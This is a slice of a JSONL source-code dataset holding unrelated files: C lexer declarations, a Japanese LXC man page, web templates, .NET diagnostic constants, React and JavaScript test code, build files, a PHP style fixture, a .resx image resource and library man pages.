yy_buffer_state *YY_BUFFER_STATE;\n\nextern /*@unused@*/ void yy_switch_to_buffer (YY_BUFFER_STATE);\nextern /*@unused@*/ void yy_load_buffer_state (void);\nextern /*@unused@*/ YY_BUFFER_STATE yy_create_buffer (FILE *, int);\nextern /*@unused@*/ void yy_delete_buffer (YY_BUFFER_STATE);\nextern /*@unused@*/ void yy_init_buffer (YY_BUFFER_STATE, FILE *);\nextern /*@unused@*/ void yy_flush_buffer (YY_BUFFER_STATE);\n\nextern /*@unused@*/ YY_BUFFER_STATE yy_scan_buffer (char *, size_t);\nextern /*@unused@*/ YY_BUFFER_STATE yy_scan_string (const char *);\nextern /*@unused@*/ YY_BUFFER_STATE yy_scan_bytes (const char *, int);\n\nextern /*@unused@*/ char *yytext;\nextern /*@unused@*/ void yyerror (char *);\nextern /*@unused@*/ int\tyychar;\t\nextern /*@unused@*/ int yynerrs;\n/*@=namechecks@*/\n/*@=declundef@*/\n\n"} -{"text": "\n\n\n\n]>\n\n\n\n @LXC_GENERATE_DATE@\n\n \n lxc-checkpoint\n 1\n \n\n \n lxc-checkpoint\n\n \n \n \u30b3\u30f3\u30c6\u30ca\u306e\u30c1\u30a7\u30c3\u30af\u30dd\u30a4\u30f3\u30c8\u3068\u30ea\u30b9\u30c8\u30a2\n \n \n\n \n \n lxc-checkpoint\n -n name\n -D PATH\n -r\n -s\n -v\n -d\n -F\n \n \n\n \n <!-- Description -->\u8aac\u660e\n \n \n lxc-checkpoint \u306f\u30b3\u30f3\u30c6\u30ca\u306e\u30c1\u30a7\u30c3\u30af\u30dd\u30a4\u30f3\u30c8\u51e6\u7406\u306b\u3088\u308b\u72b6\u614b\u4fdd\u5b58\u3068\u30ea\u30b9\u30c8\u30a2\u3092\u884c\u3044\u307e\u3059\u3002\n \n \n\n \n <!-- Options -->\u30aa\u30d7\u30b7\u30e7\u30f3\n \n\n \n \n \n \n \n \n \n \u30b3\u30f3\u30c6\u30ca\u306e\u72b6\u614b\u3092\u4fdd\u5b58\u3059\u308b\u306e\u3067\u306a\u304f\u3001\u30c1\u30a7\u30c3\u30af\u30dd\u30a4\u30f3\u30c8\u304b\u3089\u306e\u30ea\u30b9\u30c8\u30a2\u3092\u884c\u3044\u307e\u3059\u3002\n \n \n \n\n \n \n \n \n \n \n \n \u30c1\u30a7\u30c3\u30af\u30dd\u30a4\u30f3\u30c8\u306e\u30e1\u30bf\u30c7\u30fc\u30bf\u3092\u4fdd\u5b58\u3059\u308b\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u6307\u5b9a\u3057\u307e\u3059\u3002\n \n \n \n\n \n \n \n \n \n \n \n \u30b3\u30f3\u30c6\u30ca\u306e\u72b6\u614b\u3092\u4fdd\u5b58\u3057\u305f\u5f8c\u306b\u30b3\u30f3\u30c6\u30ca\u3092\u505c\u6b62\u3057\u307e\u3059\u3002\u3053\u306e\u30aa\u30d7\u30b7\u30e7\u30f3\u306f \u3068\u540c\u6642\u306b\u6307\u5b9a\u3067\u304d\u307e\u305b\u3093\u3002\n \n \n \n\n \n \n \n \n \n \n \n CRIU \u306e\u30ed\u30b0\u51fa\u529b\u3092\u5197\u9577\u30e2\u30fc\u30c9\u306b\u3057\u307e\u3059\u3002\n \n \n \n\n \n \n \n \n \n \n \n \u30b3\u30f3\u30c6\u30ca\u3092\u30d0\u30c3\u30af\u30b0\u30e9\u30a6\u30f3\u30c9\u3067\u8d77\u52d5\u3057\u305f\u72b6\u614b\u3067\u30ea\u30b9\u30c8\u30a2\u3057\u307e\u3059 (\u3053\u308c\u304c\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u3059)\u3002 \u3092\u6307\u5b9a\u3057\u305f\u3068\u304d\u3060\u3051\u4f7f\u7528\u3067\u304d\u307e\u3059\u3002\n \n \n \n\n \n \n \n \n \n \n \n \u30b3\u30f3\u30c6\u30ca\u306a\u30d5\u30a9\u30a2\u30b0\u30e9\u30a6\u30f3\u30c9\u3067\u8d77\u52d5\u3057\u305f\u72b6\u614b\u3067\u30ea\u30b9\u30c8\u30a2\u3057\u307e\u3059\u3002 \u3092\u6307\u5b9a\u3057\u305f\u3068\u304d\u3060\u3051\u4f7f\u7528\u3067\u304d\u307e\u3059\u3002\n \n \n \n\n \n \n\n &commonoptions;\n\n \n <!-- Examples -->\u4f8b\n \n\n \n lxc-checkpoint -n foo -D /tmp/checkpoint\n \n \n \n foo \u3068\u3044\u3046\u540d\u524d\u306e\u30b3\u30f3\u30c6\u30ca\u306e\u30c1\u30a7\u30c3\u30af\u30dd\u30a4\u30f3\u30c8\u51e6\u7406\u3092\u5b9f\u884c\u3057\u3001\u30c7\u30fc\u30bf\u3092 /tmp/checkpoint \u306b\u4fdd\u5b58\u3057\u307e\u3059\u3002\n \n \n \n\n \n lxc-checkpoint -r -n foo -D /tmp/checkpoint\n \n \n \n /tmp/checkpoint \u306b\u4fdd\u5b58\u3055\u308c\u305f\u30c1\u30a7\u30c3\u30af\u30dd\u30a4\u30f3\u30c8\u30c7\u30fc\u30bf\u304b\u3089\u30ea\u30b9\u30c8\u30a2\u3092\u884c\u3044\u307e\u3059\u3002\n \n \n \n\n \n \n\n &seealso;\n\n \n <!-- Author -->\u4f5c\u8005\n Tycho Andersen tycho.andersen@canonical.com\n \n\n\n\n"} -{"text": "

    This tool decreases the current viewing factor. The same effect can also be\nachieved by turning the mouse wheel toward you.

    \n"} -{"text": "\n\n\n\n \n \n\n Feed Combiner\n\n \n \n\n \n \n\n \n\n\n\n\n\n\n\n
    \n
    \n

    Add a new combined feed

    \n\n

    \n\n

    \n
    \n \n \n
    \n
    \n \n \n
    \n
    \n \n \n
    \n
    \n \n \n
    \n \n
    \n

    \n
    \n\n
    \n

    Combined Feeds

    \n
    \n
    \n
    \n <#if feeds?has_content>\n \n \n \n \n \n \n \n \n \n \n \n \n <#list feeds as feed>\n \n \n \n \n \n \n \n \n \n \n
    IDTitleDescriptionURLsRefresh
    ${feed.id}${feed.title}${feed.description}\n <#list feed.urls as url>\n ${url}
    \n \n     		${feed.refreshPeriod?c}\n
    \n \n
    \n
    \n <#else>\n
    \n Warning! There is no Combined Feed!\n
    \n \n
    \n
    \n
    \n\n\n\n\n\n\n\n"} -{"text": "// Licensed to the .NET Foundation under one or more agreements.\n// The .NET Foundation licenses this file to you under the MIT license.\n// See the LICENSE file in the project root for more information.\n\n\nnamespace System.ServiceModel.Diagnostics\n{\n internal static class DiagnosticStrings\n {\n internal const string DiagnosticsNamespace = \"http://schemas.microsoft.com/2004/09/ServiceModel/Diagnostics\";\n\n internal const string ActivityIdName = \"E2ETrace.ActivityID\";\n internal const string ActivityId = \"ActivityId\";\n internal const string AppDomain = \"AppDomain\";\n internal const string DataTag = \"Data\";\n internal const string DataItemsTag = \"DataItems\";\n internal const string DeflateCookieAfterDeflatingTag = \"AfterDeflating\";\n internal const string DeflateCookieOriginalSizeTag = \"OriginalSize\";\n internal const string DescriptionTag = \"Description\";\n internal const string EventLogTag = \"EventLog\";\n internal const string ExceptionTag = \"Exception\";\n internal const string ExceptionTypeTag = \"ExceptionType\";\n internal const string ExceptionStringTag = \"ExceptionString\";\n internal const string ExtendedDataTag = \"ExtendedData\";\n internal const string HeaderTag = \"Header\";\n internal const string InnerExceptionTag = \"InnerException\";\n internal const string KeyTag = \"Key\";\n internal const string MessageTag = \"Message\";\n internal const string NameTag = \"Name\";\n internal const string NamespaceTag = \"xmlns\";\n internal const string NativeErrorCodeTag = \"NativeErrorCode\";\n internal const string ProcessId = \"ProcessId\";\n internal const string ProcessName = \"ProcessName\";\n internal const string RoleTag = \"Role\";\n internal const string SeverityTag = \"Severity\";\n internal const string SourceTag = \"Source\";\n internal const string StackTraceTag = \"StackTrace\";\n internal const string TraceCodeTag = \"TraceIdentifier\";\n internal const string TraceRecordTag = \"TraceRecord\";\n internal const string ValueTag = \"Value\";\n\n internal static string[][] HeadersPaths = {\n new string[] { DiagnosticStrings.TraceRecordTag, DiagnosticStrings.ExtendedDataTag, \"MessageHeaders\", \"Security\" },\n new string[] { DiagnosticStrings.TraceRecordTag, DiagnosticStrings.ExtendedDataTag, \"MessageHeaders\", \"IssuedTokens\" } };\n internal static string[] PiiList = new string[] { \"BinarySecret\", \"Entropy\", \"Password\", \"Nonce\", \"Username\", \"BinarySecurityToken\", \"NameIdentifier\", \"SubjectLocality\", \"AttributeValue\" };\n }\n}\n"} -{"text": "import graphql from 'babel-plugin-relay/macro'\nimport React, {useRef} from 'react'\nimport {createFragmentContainer} from 'react-relay'\nimport {ActionMeetingAgendaItems_meeting} from '~/__generated__/ActionMeetingAgendaItems_meeting.graphql'\nimport useBreakpoint from '~/hooks/useBreakpoint'\n\nimport styled from '@emotion/styled'\n\nimport EditorHelpModalContainer from '../containers/EditorHelpModalContainer/EditorHelpModalContainer'\nimport MeetingCopy from '../modules/meeting/components/MeetingCopy/MeetingCopy'\nimport MeetingPhaseHeading from '../modules/meeting/components/MeetingPhaseHeading/MeetingPhaseHeading'\nimport {Breakpoint} from '../types/constEnums'\nimport {NewMeetingPhaseTypeEnum} from '../types/graphql'\nimport {phaseLabelLookup} from '../utils/meetings/lookups'\nimport {ActionMeetingPhaseProps} from './ActionMeeting'\nimport Avatar from './Avatar/Avatar'\nimport DiscussionThreadRoot from './DiscussionThreadRoot'\nimport MeetingContent from './MeetingContent'\nimport MeetingHeaderAndPhase from './MeetingHeaderAndPhase'\nimport MeetingTopBar from './MeetingTopBar'\nimport PhaseHeaderTitle from './PhaseHeaderTitle'\nimport PhaseWrapper from './PhaseWrapper'\n\ninterface Props extends ActionMeetingPhaseProps {\n meeting: ActionMeetingAgendaItems_meeting\n}\n\nconst AgendaVerbatim = styled('div')({\n alignItems: 'center',\n display: 'flex',\n margin: '0 auto'\n})\n\nconst StyledHeading = styled(MeetingPhaseHeading)({\n marginLeft: 16,\n fontSize: 24\n})\n\nconst StyledCopy = styled(MeetingCopy)({\n margin: '16px 0 0'\n})\n\nconst ThreadColumn = styled('div')<{isDesktop: boolean}>(({isDesktop}) => ({\n alignItems: 'center',\n display: 'flex',\n flex: 1,\n flexDirection: 'column',\n height: '100%',\n overflow: 'auto',\n paddingTop: 4,\n paddingBottom: isDesktop ? 16 : 8,\n width: '100%',\n maxWidth: 700\n}))\n\nconst ActionMeetingAgendaItems = (props: Props) => {\n const {avatarGroup, toggleSidebar, meeting} = props\n const {showSidebar, id: meetingId, endedAt, localStage} = meeting\n const {agendaItem, agendaItemId} = localStage\n const isDesktop = useBreakpoint(Breakpoint.SINGLE_REFLECTION_COLUMN)\n const meetingContentRef = useRef(null)\n // optimistic updater could remove the agenda item\n if (!agendaItem) return null\n const {content, teamMember} = agendaItem\n const {picture, preferredName} = teamMember\n return (\n \n \n \n \n {phaseLabelLookup[NewMeetingPhaseTypeEnum.agendaitems]}\n \n \n \n \n \n {content}\n \n {`${preferredName}, what do you need?`}\n \n \n \n \n \n \n \n )\n}\n\ngraphql`\n fragment ActionMeetingAgendaItemsStage on AgendaItemsStage {\n agendaItemId\n agendaItem {\n content\n teamMember {\n picture\n preferredName\n }\n }\n }\n`\n\nexport default createFragmentContainer(ActionMeetingAgendaItems, {\n meeting: graphql`\n fragment ActionMeetingAgendaItems_meeting on ActionMeeting {\n id\n showSidebar\n endedAt\n facilitatorUserId\n phases {\n stages {\n ...ActionMeetingAgendaItemsStage @relay(mask: false)\n }\n }\n localStage {\n ...ActionMeetingAgendaItemsStage @relay(mask: false)\n }\n }\n `\n})\n"} -{"text": "############################################################################\n#\n# Copyright (c) 2016-2019 PX4 Development Team. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in\n# the documentation and/or other materials provided with the\n# distribution.\n# 3. Neither the name PX4 nor the names of its contributors may be\n# used to endorse or promote products derived from this software\n# without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n# OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n# AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n############################################################################\n\npx4_add_module(\n\tMODULE drivers__barometer__bmp280\n\tMAIN bmp280\n\tSRCS\n\t\tBMP280.cpp\n\t\tBMP280.hpp\n\t\tBMP280_I2C.cpp\n\t\tBMP280_SPI.cpp\n\n\t\tbmp280_main.cpp\n\tDEPENDS\n\t\tdrivers_barometer\n\t\tpx4_work_queue\n\t)\n"} -{"text": "\";\n\t\treturn \"<$name$xmlns$type_str $atts xsi:nil=\\\"true\\\"/>\";\n// [space][space][space][tab]return \"<$name$xmlns$type_str $atts xsi:nil=\\\"true\\\"/>\";\n\treturn \"<$name$xmlns$type_str $atts xsi:nil=\\\"true\\\"/>\";\n// Doc comments are indent with tabs and one space\n//[tab]/**\n//[tab][space]*\n\t/**\n\t * CVS revision for HTTP headers.\n\t *\n\t * @var string\n\t * @access private\n\t */\n\t/**\n\t *\n\t*/\n\n$str = 'hello\n there';\n\n/**\n * This PHP DocBlock should be fine, even though there is a single space at the beginning.\n *\n * @var int $x\n */\n$x = 1;\n\n?>\n\n\t\n\t\tFoo\n\t\n\t\n\t\t
    \n\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t
    \n\t\t
    \n\t\n\n\nfocusOnElement();\n $this->keyboard->releaseKey($this->key);\n }\n}\n"} -{"text": "\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n text/microsoft-resx\n \n \n 2.0\n \n \n System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n \n \n System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n \n \n 17, 17\n \n \n \n AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w\n LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0\n ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACo\n CgAAAk1TRnQBSQFMAgEBAgEAAUABAAFAAQABEAEAARABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAFA\n AwABEAMAAQEBAAEgBgABEP8A/wAUAAFOAU0BTAF9AWYBYgFfAfYBZwFiAV4B/wFnAWIBXgH/AWcBYgFe\n Af8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFn\n AWIBXgH/AWcBYgFeAf8BZgFiAV8B9gFOAU0BTAF+AWgBTQFBAX0BzQFlATUB9gHWAWYBMgH/AdYBZgEy\n Af8B1gFmATIB/wHWAWYBMgH/AdYBZgEyAf8B1gFmATIB/wHWAWYBMgH/AdYBZgEyAf8B1gFmATIB/wHW\n AWYBMgH/AdYBZgEyAf8B1gFmATIB/wHNAWUBNQH2AWkBTgFBAX6AAAFmAWIBXwH2AWcBYgFeAf8BZwFi\n AV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/\n AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH1Ac0BZQE1AfYBtQFk\n AT4B2QGEAVkBRAGfAYQBWQFEAZ8BhAFZAUQBnwGEAVkBRAGfAYQBWQFEAZ8BhAFZAUQBnwGEAVkBRAGf\n AYQBWQFEAZ8BhAFZAUQBnwGEAVkBRAGfAYQBWQFEAZ8BhAFZAUQBnwG1AWQBPgHZAc0BZgE2AfWAAAFn\n AWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFe\n Af8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFn\n AWIBXgH/AdYBZgEyAf8BfwFXAUQBmTAAAX8BVwFEAZkB1gFmATIB/4AAAWcBYgFeAf8BZwFiAV4B/wFn\n AWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFe\n Af8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8B1gFmATIB/wF/\n AVcBRAGZMAABfwFXAUQBmQHWAWYBMgH/gAABZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFn\n AWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFe\n Af8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wHWAWYBMgH/AX8BVwFEAZkwAAF/AVcBRAGZ\n AdYBZgEyAf+AAAFoAWMBXwH+AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFn\n AWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFe\n Af8BZwFiAV4B/wFnAWIBXgH/AdUBZwEzAf4BfwFXAUQBmTAAAX8BVwFEAZkB1gFmATIB/4AAAWgBYwFf\n Af4BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFn\n AWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFe\n Af8B1QFnATMB/gF/AVcBRAGZMAABfwFXAUQBmQHWAWYBMgH/gAABaAFjAV8B/gFnAWIBXgH/AWcBYgFe\n Af8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFn\n AWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wHVAWcBMwH+AX8BVwFE\n AZkwAAF/AVcBRAGZAdYBZgEyAf+AAAFoAWMBXwH+AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFe\n Af8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFn\n AWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AdUBZwEzAf4BfwFXAUQBmTAAAX8BVwFEAZkB1gFm\n ATIB/4AAAWgBYwFfAf4BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFe\n Af8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFn\n AWIBXgH/AWgBYwFfAf4B1QFnATMB/gGUAV8BRQGyATUBLgErAUABNQEuASsBQAE1AS4BKwFAATUBLgEr\n AUABNQEuASsBQAE1AS4BKwFAATUBLgErAUABNQEuASsBQAE1AS4BKwFAATUBLgErAUABNQEuASsBQAE1\n AS4BKwFAAZQBXwFFAbIB1QFnATMB/oAAAWcBYgFeAf0BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFi\n AV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/\n AWcBYgFeAf8BZwFiAV4B/wFoAWMBXwH+AWIBXgFcAcIB1AFmATQB/QHWAWYBMgH/AdYBZgEyAf8B1gFm\n ATIB/wHWAWYBMgH/AdYBZgEyAf8B1gFmATIB/wHWAWYBMgH/AdYBZgEyAf8B1gFmATIB/wHWAWYBMgH/\n AdYBZgEyAf8B1gFmATIB/wHWAWYBMgH/AdUBZwEzAf4BogFhAUMBwoAAAWcBYwFfAfQBZwFiAV4B/wFn\n AWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFnAWIBXgH/AWcBYgFeAf8BYwFgAV4ByQFAAj8BYAFAAj8BYAFA\n Aj8BYAFAAj8BYAFAAj8BYAFAAj8BYAE8AjsBWAMPARMBzAFmATcB9AHWAWYBMgH/AdYBZgEyAf8B1gFm\n ATIB/wHWAWYBMgH/AdYBZgEyAf8B1gFmATIB/wGoAWIBQgHJAVABQAE5AWABUAFAATkBYAFQAUABOQFg\n AVABQAE5AWABUAFAATkBYAFQAUABOQFgAUkBPAE1AVgCDwEOAROAAAFOAU0BTAF9AWYBYgFfAfYBZwFi\n AV4B/wFnAWIBXgH/AWcBYgFeAf8BZwFiAV4B/wFjAWABXgHLAxcBHiAAAWgBTQFBAX0BzQFlATUB9gHW\n AWYBMgH/AdYBZgEyAf8B1gFmATIB/wHWAWYBMgH/AakBYwFCAcsBGAEXARYBHv8AoQABQgFNAT4HAAE+\n AwABKAMAAUADAAEQAwABAQEAAQEFAAGAFwAD/wEABP8EAAT/FgABPwH8BgABPwH8BgABPwH8BgABPwH8\n BgABPwH8BgABPwH8BgABPwH8HQAB/wEAAf8EAAT/BAAL\n\n \n"} -{"text": "import React from 'react';\nimport { expect } from 'chai';\nimport sinon from 'sinon';\nimport { mount } from 'enzyme';\nimport { Form, Text, withFieldApi, FormProvider } from '../../src';\n\ndescribe('withFieldApi', () => {\n const sandbox = sinon.createSandbox();\n\n beforeEach(() => {\n sandbox.restore();\n });\n\n const Stuff = ({ fieldApi }) => {\n return Hello World!;\n };\n\n const StuffWithFieldApi = withFieldApi('greeting')(Stuff);\n\n const checkFieldApi = api => {\n expect(api).to.have.own.property('setError');\n expect(api).to.have.own.property('setTouched');\n expect(api).to.have.own.property('setValue');\n expect(api).to.have.own.property('getError');\n expect(api).to.have.own.property('getTouched');\n expect(api).to.have.own.property('getValue');\n expect(api).to.have.own.property('reset');\n expect(api).to.have.own.property('validate');\n };\n\n it('should have all the correct function on the field api', () => {\n const wrapper = mount(\n
    \n \n \n \n );\n \n const stuff = wrapper.find('Stuff');\n checkFieldApi(stuff.props().fieldApi);\n });\n\n it('should give access to the fieldApi when inside of form Provider', () => {\n const wrapper = mount(\n \n \n \n \n );\n \n const stuff = wrapper.find('Stuff');\n checkFieldApi(stuff.props().fieldApi);\n });\n\n});\n"} -{"text": "lf\nlf\ncrlf\nlf\nlf\n"} -{"text": "/*\n\n BLIS\n An object-based framework for developing high-performance BLAS-like\n libraries.\n\n Copyright (C) 2014, The University of Texas at Austin\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are\n met:\n - Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n - Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and/or other materials provided with the distribution.\n - Neither the name(s) of the copyright holder(s) nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n*/\n\n#ifdef BLIS_ENABLE_BLAS\n\n#define bla_her_check( dt_str, op_str, uploa, m, incx, lda ) \\\n{ \\\n\tf77_int info = 0; \\\n\tf77_int lower, upper; \\\n\\\n\tlower = PASTEF770(lsame)( uploa, \"L\", (ftnlen)1, (ftnlen)1 ); \\\n\tupper = PASTEF770(lsame)( uploa, \"U\", (ftnlen)1, (ftnlen)1 ); \\\n\\\n\tif ( !lower && !upper ) \\\n\t\tinfo = 1; \\\n\telse if ( *m < 0 ) \\\n\t\tinfo = 2; \\\n\telse if ( *incx == 0 ) \\\n\t\tinfo = 5; \\\n\telse if ( *lda < bli_max( 1, *m ) ) \\\n\t\tinfo = 7; \\\n\\\n\tif ( info != 0 ) \\\n\t{ \\\n\t\tchar func_str[ BLIS_MAX_BLAS_FUNC_STR_LENGTH ]; \\\n\\\n\t\tsprintf( func_str, \"%s%-5s\", dt_str, op_str ); \\\n\\\n\t\tbli_string_mkupper( func_str ); \\\n\\\n\t\tPASTEF770(xerbla)( func_str, &info, (ftnlen)6 ); \\\n\\\n\t\treturn; \\\n\t} \\\n}\n\n#endif\n"} -{"text": ".\\\"\n.\\\" Copyright 2012-2013 Samy Al Bahra.\n.\\\" All rights reserved.\n.\\\"\n.\\\" Redistribution and use in source and binary forms, with or without\n.\\\" modification, are permitted provided that the following conditions\n.\\\" are met:\n.\\\" 1. Redistributions of source code must retain the above copyright\n.\\\" notice, this list of conditions and the following disclaimer.\n.\\\" 2. Redistributions in binary form must reproduce the above copyright\n.\\\" notice, this list of conditions and the following disclaimer in the\n.\\\" documentation and/or other materials provided with the distribution.\n.\\\"\n.\\\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n.\\\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n.\\\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n.\\\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n.\\\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n.\\\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n.\\\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n.\\\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n.\\\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n.\\\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n.\\\" SUCH DAMAGE.\n.\\\"\n.\\\"\n.Dd March 30, 2012\n.Dt CK_HT_ENTRY_VALUE_DIRECT 3\n.Sh NAME\n.Nm ck_ht_entry_value_direct\n.Nd return value as specified in hash table entry\n.Sh LIBRARY\nConcurrency Kit (libck, \\-lck)\n.Sh SYNOPSIS\n.In ck_ht.h\n.Ft uintptr_t\n.Fn ck_ht_entry_value_direct \"ck_ht_entry_t *entry\"\n.Sh DESCRIPTION\nThe\n.Fn ck_ht_entry_value_direct\nfunction will return the value of the key-value pair as specified in the\nobject pointed to by the\n.Fa entry\nargument.\n.Pp\nIt is expected that the entry is\nassociated with a hash table initialized with\n.Dv CK_HT_MODE_DIRECT\n(see\n.Xr ck_ht_init 3\nfor more information).\n.Sh RETURN VALUES\nThe\n.Fn ck_ht_entry_value_direct\nfunction returns the value stored in the object pointed to by the\n.Fa entry\nargument.\n.Sh ERRORS\nBehavior is undefined if\n.Fa entry\nhas not been initialized or if the key is empty.\n.Sh SEE ALSO\n.Xr ck_ht_stat 3 ,\n.Xr ck_ht_init 3 ,\n.Xr ck_ht_destroy 3 ,\n.Xr ck_ht_hash 3 ,\n.Xr ck_ht_hash_direct 3 ,\n.Xr ck_ht_set_spmc 3 ,\n.Xr ck_ht_put_spmc 3 ,\n.Xr ck_ht_gc 3 ,\n.Xr ck_ht_get_spmc 3 